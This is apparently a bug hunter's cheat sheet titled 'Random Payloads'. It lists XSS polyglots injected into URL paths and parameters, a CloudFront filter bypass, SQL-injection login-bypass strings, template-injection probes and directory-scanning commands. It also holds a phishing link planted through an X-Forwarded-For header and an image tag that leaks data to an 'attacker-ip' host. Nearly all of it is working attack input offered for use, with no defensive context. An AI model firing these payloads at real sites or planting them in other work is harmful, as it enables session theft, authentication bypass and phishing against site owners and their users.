Random Payloads

Confirmed using console: jQuery.fn.jquery

<target>util/css?v=MjeaVjLRPU1oTjsF_cIRj7kCL_N__qEPjFLZ7IViT-01jaVasCript:/*-/*`/*\`/*%27/*%22/**/(/*%20*/oNcliCk=alert(1)%20)//%20//%3C/stYle/%3C/titLe/%3C/teXtarEa/%3C/scRipt/--!%3E\x3csVg/%3CsVg/oNloAd=alert(1)//%3E\x3e

<target>/blog/?type=knowledgejaVasCript:/*-/*`/*\`/*%27/*%22/**/(/*%20*/oNcliCk=alert(1)%20)//%20//%3C/stYle/%3C/titLe/%3C/teXtarEa/%3C/scRipt/--!%3E\x3csVg/%3CsVg/oNloAd=alert(1)//%3E\x3e

<target>/privacy-policy/text/javascript?appchecksynth=/*-/*`/*\`/*%27/*%22/**/(/*%20*/oNcliCk=alert(1)%20)//%20//%3C/stYle/%3C/titLe/%3C/teXtarEa/%3C/scRipt/--!%3E\x3csVg/%3CsVg/oNloAd=alert(1)//%3E\x3e

<target>synth=jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(1) )//
//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(1)//>\x3e

<target>/login?r=/evocms/module/modulejaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(1) )//
//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(1)//>\x3e/password

<target>/%22challengeapetito%27xhcXehpLML%3d%27foo/nutrition/?utm_source=MKBcare_nutrition&utm_medium=banner_ad&utm_campaign=challenege_apetito

<svg<script>onmou<script>seover</script>="alert('xss')">hii</svg</script>>

<object data=javascript:confirm(document.domain)>

xs123']);alert(1);//

<svg/onload="prompt(1)">

</svg/onload=alert('XSS')>

<svg/onload=alert(document.domain)>

<--`<img%2fsrc%3d` onerror%3dalert(document.domain)> --!>

X-Forwarded-For: <a href="attacker.com"><h1><font color="red">Please click here to login to your account<h1></font></a>

test"/><script>alert(123)</script>

${{77*77}}

<p><a href="http://bing.com">click here</a></p>

<img src=\"http://attacker-ip/?id=

?s=1%27"><script>alert(123)</script>

s=1&jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(1) )//
//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(1)//>\x3e=appchecksynth

/?jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(1) )//
//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(1)//>\x3e=appchecksynth

.com/search/1/feed/rss2jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(1) )//
//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(1)//>\x3e/

.com/search/1/feed/rss2/jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(1) )//
//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(1)//>\x3e/

?jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(1) )//
//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(1)//>\x3e=appchecksynt

$dirsearch.py -u https://domain.com/ -w wordlist.txt -t 10 -E --plain-text-report=output.txt

$dirsearch.py -L urls.txt -w wordlist.txt -t 10 -E --plain-text-report=output.txt

javascript:alert(document.domain);//

<a xmlns="http://www.w3.org/1999/xhtml" href="javascript:alert(document.domain);//">CLICK</a>

listview=fbd-team-matters-closedl</script><img src=x onerror=alert(3)>

?filfdfter=internal</script><img src=x onerror=alert(3)>

/?ifdd=20ee74b2-5daf-40fe-81d4-f904cc0ca068</script><img src=x onerror=alert(3)>

/finandffdce-payment-requests-processed?id=xsss</script><img src=x onerror=alert(3)>

?profdfdfile=xsss</script><img src=x onerror=alert(3)>

/calesfsndar??cal=xsss</script><img src=x onerror=alert(3)>

/adfdmin?id=xsss</script><img src=x onerror=alert(3)>

/teams-members?user=xsss</script><img src=x onerror=alert(3)>

/?dfdash=xsss</script><img src=x onerror=alert(3)>

XSS Payload:$1500
<</p>iframe src=javascript:alert()//
Request.queryString error in .NET avoids you to get XSS-
%uff1cscript%uff1ealert(‘XSS’);%uff1c/script%uff1e

ohmybackup.exe --hostname http://google.com

Give this a try while testing for SQLi Authentication Bypass :
username: '--' / "--"
password: '--' / "--"

CloudFront XSS bypass:
<--`<img%2fsrc%3d` onerror%3dalert(document.domain)> --!>

Test SQLi + XSS + SSTI with the same payload use

'"><svg/onload=prompt(5);>{{1234*6543}}